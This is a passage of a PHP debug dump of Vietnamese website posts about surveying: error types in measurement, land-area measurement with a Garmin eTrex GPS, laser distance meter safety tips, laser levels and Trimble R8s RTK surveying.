Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">c) Sai số xác suất (kí hiệu là p)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong dãy kết quả đo nếu sắp xếp các sai số theo giá trị tuyệt đối từ bé đến lớn thì sai số xác suất p có giá trị của sai số đứng giữa về thứ tự sắp xếp.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Khi nghiên cứu về sai số trung bình cộng (s), sai số trung phương (m) và sai số xác suất (p) thấy chúng có mối quan hệ: p/s/m - tương ứng là 0,67/0,8/1,0</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nếu số lần đo càng nhiều thì tỷ số này càng đúng, dựa vào tỷ số này người tư có thể tính nhanh các giá trị của sai số trung bình cộng (s), sai số trung phương (m) thông qua giá trị của sai số xác suất (p)</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">d) Sai số giới hạn (kí hiệu là f)</em></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Nghiên cứu thống kê cho thấy:</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Cứ 1000 sai số thực thì có 3 giá trị si số vượt qua giới hạn ba lần giá trị sai số trung phương m. Trong 100 sai số thực thì có năm giá trị v]ợt quá giới hạn hai lần giá trị của sai số trung phương m.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Vì vậy người ta thường chọn sai số giới hạn bằng 3 lần sai số trung phương</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 3m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Trong trường hợp yêu cầu độ chính xác cao thì chọn sai số giới hạn bằng 2 lần sai số trung phương.</span></span></div> <div align="center" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">f = 2m</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Như vậy trong quá trình tính toán nếu giá trị nào vượt quá sai số giới hạn thì bị coi là sai số sai lầm và bị loại ra khỏi kết quả đo.</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">e) Sai số tương đối (kí hiệu là <span style="box-sizing: border-box; margin: 0px; padding: 0px; font-weight: 700;"><em style="box-sizing: border-box; margin: 0px; padding: 0px;">1/T</em></span>) là tỷ số giữa sai số trung phương và giá trị thực của đại lượng đo (L).</span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px; clear: both;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><a href="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" imageanchor="1" style="box-sizing: border-box; margin: 0px; padding: 0px; background-color: transparent; color: rgb(51, 51, 51); text-decoration-line: none;"><img border="0" src="https://2.bp.blogspot.com/-gSCgrAByN9M/Ur6UM1jjS8I/AAAAAAAADfI/mkKKcoc2Ex8/s1600/gisgpsrs-sai-so-tuong-doi.PNG" style="box-sizing: border-box; margin: 0px; padding: 0px; border: none; vertical-align: middle; max-width: 100%;" /></a></span></span></div> <div style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; font-size: 14px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Sai số tương đối dùng để so sánh mức độ sai số với giá trị thực của đại lượng đo:</span></span></div> ', 'images' => '201904250406260790335a670cb13c2fdb67fe2f8df9ba.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-25', 'modified' => '2025-08-10', 'status' => '1', 'view' => '82720', 'slug' => 'cac-loai-sai-so-tieu-chi-danh-gia-do-chinh-xac-ket-qua-do', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '937', 'rght' => '938', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 4 => array( 'Post' => array( 'id' => '535', 'name' => 'Hướng dẫn đo diện tích đất bằng máy định vị cầm tay GARMIN ETREX 10/20X ', 'code' => null, 'alias' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(17, 17, 17); font-weight: 700; text-align: justify;">Những năm gần đây việc sử dụng máy định vị cầm tay để đo diện tích đất nông nghiệp, đất rừng… trở nên phổ biến. Người nông dân, thương lái đã ứng dụng thiết bị kỹ thuật vào việc đo diện tích đất để mua bán cao su, tiêu, điều,… một cách rất hiệu quả và chính xác.</span></span></span>', 'content' => '<p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> <span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Sau đây, chúng tôi xin phép hướng dẫn cách đo diện tích đất bằng máy định vị cầm tay Etrex 10/20x đơn giản và chính xác.<br /> <br /> <strong>Phần 1: Kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích</strong><br /> <br /> Máy định vị cầm tay Etrex 10/20 đo diện tích dựa trên tín hiệu vệ tinh vì vậy để số liệu đo chính xác thì vệ tinh thu được phải nhiều và đầy đủ. Hãy kiểm tra tín hiệu vệ tinh trước khi đo:<br /> <br /> - Nhấn <em>Menu</em> 2 lần để vào màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2.jpg" style="width: 300px; height: 300px;" /><br /> <br /> - Di chuyển con trỏ vào ô <em>Satellite</em> => nhấn <em>Enter</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3(1).jpg" style="width: 381px; height: 510px;" /><br /> <br /> - Màn hình vệ tinh sẽ hiện ra. Trên góc phải phía trên màn hình thể hiện sai số của máy. Khi hiện ra số từ 3 - 5m tức là vệ tinh đã tốt, chúng ta có thể bắt đầu đo diện tích đất.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4(1).jpg" style="width: 306px; height: 409px;" /><br /> Sau khi kiểm tra tín hiệu vệ tinh và sai số của máy định vị trước khi đo diện tích sẽ tiến hành đo diện tích đất.<br /> <br /> <strong>Phần 2: Tiến hành đo diện tích đất</strong><br /> <br /> <strong>Bước 1:</strong> Nhấn nút <em>Menu</em> trên máy 2 lần để trở về màn hình menu chính<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 1 lần 2.jpg" style="width: 300px; height: 300px;" /><br /> <em>Hình 1. Nhấn Menu 2 lần để trở về màn hình chính</em><br /> <br /> Bước 2: Di chuyển con trỏ vào biểu tượng có chữ <em>Area Calculation</em> (chức năng đo diện tích) => nhấn <em>Enter</em><strong>. </strong>Màn hình đo diện tích sẽ hiện ra.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 2 lần 2.jpg" style="width: 311px; height: 414px;" /><br /> <em>Hình 2. Di chuyển con trỏ vào biểu tượng có chữ Area Calculation</em><br /> <br /> Bước 3: Bây giờ hãy vào khu đất cần đo diện tích và nhấn <em>Enter</em> vào chữ <em>Start</em>, sau đó đi vòng quanh khu đất cần đo.<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 3 lần 2.jpg" style="width: 400px; height: 533px;" /><br /> <em>Hình 3. Nhấn Enter vào chữ Start</em><br /> <br /> Bước 4: Sau khi đi vòng quanh khu đất cần đo đến vị trí xuất phát ban đầu nhấn <em>Enter</em> vào chữ <em>Calculate.</em><br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 4 lần 2.jpg" style="width: 296px; height: 395px;" /><br /> <em>Hình 4. Nhấn Enter vào chữ Calculate</em><br /> <br /> Màn hình hiển thị kết quả đo diện tích sẽ hiện ra:<br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 5.jpg" style="width: 309px; height: 412px;" /><br /> <em>Hình 5. Hiển thị kết quả đo</em><br /> <br /> Tùy vào mỗi mục đích công việc khác nhau mà chúng ta lựa chọn đơn vị đo phù hợp.<br /> Để chọn đơn vị đo bạn chỉ cần di chuyển con trỏ vào chữ <em>Change Units</em> và nhấn <em>Enter </em>=> màn hình sẽ hiện ra các đơn vị đo để bạn lựa chọn, thông thường chúng ta sẽ đo diện tích khu đất lớn nên chọn vào đơn vị Hectares<strong> (</strong>Ha<strong>).</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/Hình 6.jpg" style="width: 376px; height: 502px;" /><br /> <em>Hình 6. Chuyển đơn vị đo</em><br /> <br /> <strong>Cần lưu ý là phải đi thành 1 vòng khép kín thì máy mới đo diện tích khu đất một cách chính xác.</strong></span></span><br /> </p> <p style="margin: 0px auto; padding: 5px 0px; color: rgb(0, 0, 0); font-family: Arial, sans-serif; background-image: initial !important; background-position: initial !important; background-size: initial !important; background-repeat: initial !important; background-attachment: initial !important; background-origin: initial !important; background-clip: initial !important;"> </p> ', 'images' => '2019042407173039b311cfd409011833b1fdef4dd12cf9.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-04-24', 'modified' => '2025-08-10', 'status' => '1', 'view' => '56568', 'slug' => 'huong-dan-do-dien-tich-dat-bang-may-dinh-vi-cam-tay-garmin-etrex-10-20x', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '935', 'rght' => '936', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 5 => array( 'Post' => array( 'id' => '534', 'name' => 'Những lưu ý khi dùng máy đo khoảng cách laser', 'code' => null, 'alias' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. Ứng dụng máy đo khoảng cách laser trong đời sống hàng ngày không còn là quá mới mẻ. Đặc biệt là với các nhà thiết kế và thi công nội ngoại thất, kỹ sư trắc địa, kỹ sư công trình. Nhưng việc sử dụng thiết bị này thế nào đúng cách để tránh gây hỏng thiết bị và gây hại tới người xung quanh là vấn đề cần được quan tâm hơn cả trước khi sử dụng máy. </span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Máy đo khoảng cách laser với ưu điểm thiết kế cầm tay nhỏ gọn, đút túi dễ dàng và kết quả phản hồi nhanh. Các tính năng cơ bản bao gồm đo khoảng cách, tính toán theo pitago, diện tích, thể tích, chu vi, đo góc, cộng trừ nhân chia. Ngoài ra, riêng dòng Leica có thêm rất nhiều tính năng vượt trội cho người chuyên nghiệp như đo cạnh trên cao, đo sườn đồi, đo độ nghiêng mái nhà, tính cạnh gián tiếp...<br /> <br /> Trước khi sử dụng bạn cần đọc các lưu ý quan trọng dưới đây để tránh làm hỏng thiết bị hoặc gây hại đến người xung quanh. <br /> <br /> - Không để tia laser hướng về phía người hoặc động vật và không nhìn vào tia laser trực tiếp hoặc qua phản chiếu.<br /> - Nếu tia laser hướng vào mắt, bạn phải nhắm mắt lại và ngay lập tức xoay đầu để tránh tia laser.<br /> - Không được sử dụng kính nhìn laser như là kính bảo hộ lao động.<br /> - Không được nhúng dụng cụ đo vào trong nước hay các chất lỏng khác.<br /> - Lau sạch bụi bẩn bằng một mảnh vải mềm và ẩm.<br /> - Không sử dụng bất cứ chất tẩy rửa hay dung môi nào.<br /> - Nếu dụng cụ đo bị trục trặc, vui lòng liên hệ bộ phận kỹ thuật của chúng tôi để được hướng dẫn và bảo hành. Tuyệt đối không tự ý tháo mở dụng cụ đo ra để tránh làm thiết bị hỏng hóc thêm.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/H1.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H2.jpg" style="width: 236px; height: 138px;" /><img alt="" src="/admin/webroot/upload/image/images/H3.jpg" style="width: 236px; height: 138px;" /></span></span><br /> <br /> <p style="margin: 6px 0px; font-family: Helvetica, Arial, sans-serif; color: rgb(29, 33, 41); font-size: 14px;"> <img alt="" src="/admin/webroot/upload/image/images/H7.jpg" style="width: 500px; height: 360px;" /></p> ', 'images' => '20190301033534e604a531789bb8c3cfaceb0b2346fd77.jpg', 'images_multi' => '', 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-03-01', 'modified' => '2025-08-10', 'status' => '1', 'view' => '68693', 'slug' => 'nhung-luu-y-khi-dung-may-do-khoang-cach-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '933', 'rght' => '934', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '533', 'name' => 'Cùng tìm hiểu về dòng máy thuỷ bình laser', 'code' => null, 'alias' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Với những định hướng ban đầu từ quá trình nghiên cứu, sản xuất và thiết kế, máy thuỷ bình laser dường như đã được tích hợp trong mình những chức năng rất đa dạng, có thể phục vụ nhiều nhu cầu khác nhau của con người. Các chức năng nổi bật đó có thể bao gồm:<br /> - Là thiết bị đo đạc ở các khoảng cách khác nhau từ gần đến xa, từ địa hình bằng phẳng đến nhưng nơi trắc trở nhiều nguy hiểm. Máy thuỷ bình laser có thể hỗ trợ con người trong việc tính toán và lập sơ đồ công trình rất nhanh chóng và chính xác.<br /> - Sử dụng máy trong việc quét mã vạch laser của ngành công nghiệp thương mại giúp bạn có được những kết quả tuyệt đối và tiện lợi hơn.<br /> - Ngoài ra, máy thuỷ bình laser còn là một thiết bị có ứng dụng rộng rãi trong ngành công nghiệp sản xuất, giáo dục, t tế và giao thông, công nghiệp vận chuyển.<br /> <br /> <strong>Một số cách phân loại máy thuỷ bình laser nổi bật nhất</strong></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua màu sắc</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Màu sắc máy thuỷ bình laser sẽ tương ứng với màu sắc tia laser được tích hợp bên trong máy và những dòng máy có màu sắc khác nhau sẽ có các đặc tính sử dụng cũng như nhiều ưu nhược điểm khác nhau. Một số dòng máy thuỷ bình laser chính được phân loại theo hình thức này đó chính là máy tia xanh, tia đỏ, tia cam, tia xanh ngọc, tia hồng. Tuy nhiên, nổi bật hơn cả vẫn là hai dòng máy chính tia xanh và tia đỏ. Chúng được xuất hiện phổ biến trên thị trường với những vai trò vô cùng hữu ích, khả năng ứng dụng đa dạng và linh hoạt cho người dùng.<br /> <img alt="" src="/admin/webroot/upload/image/images/1539914884-may can bang2 (1).JPG" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser theo nhà sản xuất</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Có rất nhiều đơn vị khác nhau gia nhập vào lĩnh vực thiết kế, sản xuất và phân phối máy thuỷ bình laser ra thị trường. Một số thương hiệu nổi bật có thể kể đến như dòng máy thuỷ bình laser thương hiệu Hàn Quốc, Nhật Bản, Đức: Sincon, Bosch, Fukuda, Laisai,...<br /> <img alt="" src="/admin/webroot/upload/image/images/1512013048_may-can-bang-laser-sincon-sl-333.jpg" style="width: 455px; height: 481px;" /></span></span><br /> <ul> <li> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Phân loại máy thuỷ bình laser qua số tia được tích hợp</span></span></li> </ul> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Số tia của máy thuỷ bình laser có ảnh hưởng rất lớn đến hiệu quả ứng dụng, đến mức độ phổ biến và khả năng sử dụng thực tế của máy cho các nhu cầu của người dùng. Tùy từng mục đích khác nhau bạn có thể chọn lựa dòng máy thuỷ bình laser với số tia vừa phải như 2 tia, 3 tia, 4 tia, 5 tia. Số lượng tia càng lớn thì giá thành máy càng cao, tuy nhiên hiệu quả và các chức năng máy mang lại sẽ càng lớn.<br /> <br /> <strong>Đánh giá một số ưu điểm của máy thuỷ bình laser trên thị trường hiện nay:</strong><br /> - Sử dụng máy thuỷ bình laser có thể thay thế hoàn toàn các phương thức đo đạc truyền thống với các kết quả đảm bảo độ chính xác, nhanh chóng và rất tiện lợi. Bạn có thể tránh đi được các thao tác phức tạp cần phải thực hiện, ngoài ra là còn tránh được các sai lệch có thể ảnh hưởng trực tiếp đến những công trình thực tế đang nghiên cứu hoặc thi công.<br /> - Việc sử dụng các dòng máy thuỷ bình laser hiện đại ngày nay rất đơn giản, chỉ cần nhấn nút và kiểm tra kết quả đo. Việc băn khoăn về những công việc cần làm cũng được giảm đi đáng kể. Từ đó giúp tiết kiệm thời gian rất nhiều.<br /> - Các thiết kế máy thuỷ bình laser hiện nay đều rất hiện đại, sang trọng với khả năng thu hút, bắt mắt, thể hiện cho sự cập nhật xu hướng cho chính người dùng, người chủ của máy.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/images(1).jpg" style="width: 225px; height: 225px;" /><br /> <br /> <strong>Một số nhược điểm của máy thuỷ bình laser:</strong><br /> Tuy mang trong mình nhiều ưu điểm nhưng vẫn không thể phủ nhận được một số khuyết điểm mà máy thuỷ bình laser vẫn còn gặp phải. Việc sử dụng máy tuy đơn giản nhưng luôn cần phải đảm bảo đúng và đủ các thao tác cần thiết. Nếu không sẽ không thể thu được kết quả đo. Ngoài ra, khi ứng dụng máy thuỷ bình laser trong một số điều kiện về địa hình trắc trở hay có nhiều vật cản, kết quả đo đạc thu được có thể sẽ không đảm bảo được độ chính xác tuyệt đối.<br /> Mức giá của các dòng máy thuỷ bình laser khá lớn, thường cao hơn so với các lựa chọn của phương pháp đo đạc truyền thống. Vì vậy, chi phí đầu tư ban đầu cần bỏ ra cho phương pháp cần phải xác định là sẽ tốn kém hơn. Tuy nhiên, so với những hiệu quả mà máy có thể mang lại thì đây hoàn toàn là những con số có thể chấp nhận được.<br /> </span></span>', 'images' => '20190213030954ce4c7d18ea6c8d4e032f065a283c7634.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-02-13', 'modified' => '2025-08-10', 'status' => '1', 'view' => '66484', 'slug' => 'cung-tim-hieu-ve-dong-may-thuy-binh-laser', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '931', 'rght' => '932', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '532', 'name' => 'Đo đạc khảo sát bằng công nghệ RTK - TRIMBLE R8S ', 'code' => null, 'alias' => 'do-dac-khao-sat-bang-cong-nghe-rtk-trimble-r8s', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghệ GPS RTK trong đo đạc khảo sát địa hình giúp rút ngắn thời gian đo đạc ngoài thực địa.<br /> Phương pháp đo vẽ bằng công nghệ RTK rất đơn giản.Khả năng đo chi tiết ở khoảng cách khá lớn.Trạm máy ít phải di chuyển nên tốc độ đo nhanh hơn. Với công nghệ RTK, nhân lực giảm, mang lại hiệu quả lớn về mặt kinh tế.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100541-r8s-4 (1)(1).JPG" style="width: 841px; height: 329px;" /><br /> Cùng với đó, để nâng cao năng suất và hiệu quả của công việc đo đạc khảo sát, bạn cần kết hợp với thiết bị máy toàn đạc điện tử để đo đạc.<br /> <br /> Để bắt kịp xu thế, Trimble – hãng sản xuất của Mỹ cho ra đời dòng máy định vị vệ tinh GNSS 02 tần số R8s. Máy có thiết kế nhỏ gọn và các tính năng nổi bật, đặc biệt là độ chính xác cao.Chuyên dùng trong công tác khảo sát thành lập lưới khống chế tọa độ với độ chính xác cao;<br /> Ngoài ra Trimble R8s cũng có thể được dùng trong việc khảo sát, thi công công trình như một chiếc máy đo đạc thông minh.Có thể thực hiện được tất cả các công việc trắc địa như giao hội, bố trí đường cong, tính diện tích.<br /> <br /> <strong>Các tính năng nổi bật của Trimble R8s GNSS:</strong><br /> + Bộ thu vệ tinh có thể lập cấu hình và tùy chỉnh nhằm đáp ứng yêu cầu của người dùng<br /> + Có cấu hình xử lý hậu kỳ, cấu hình chỉ gồm trạm Base hoặc trạm Rover.Hoặc cấu hình bao gồm cả hai trạm Base và Rover<br /> + Khả năng dò tìm vệ tinh tiên tiến với công nghệ thu vệ tinh Trimble 360<br /> + Gồm bộ vi mạch Trimble Maxwell 6 với 440 kênh<br /> + Tích hợp đơn giản với dòng máy toàn đạc Trimble S-series và trạm Rover V10 Imaging<br /> + Phần mềm hiện trường Trimble Access và phần mềm nội nghiệp Trimble Business Center đầy trực quan<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/1545100540-r8s-2(1).jpg" style="width: 426px; height: 600px;" /></span></span><br /> <div class="mota" style="margin: 10px 0px; font-weight: bold; color: rgb(17, 17, 17); position: relative; z-index: 999; 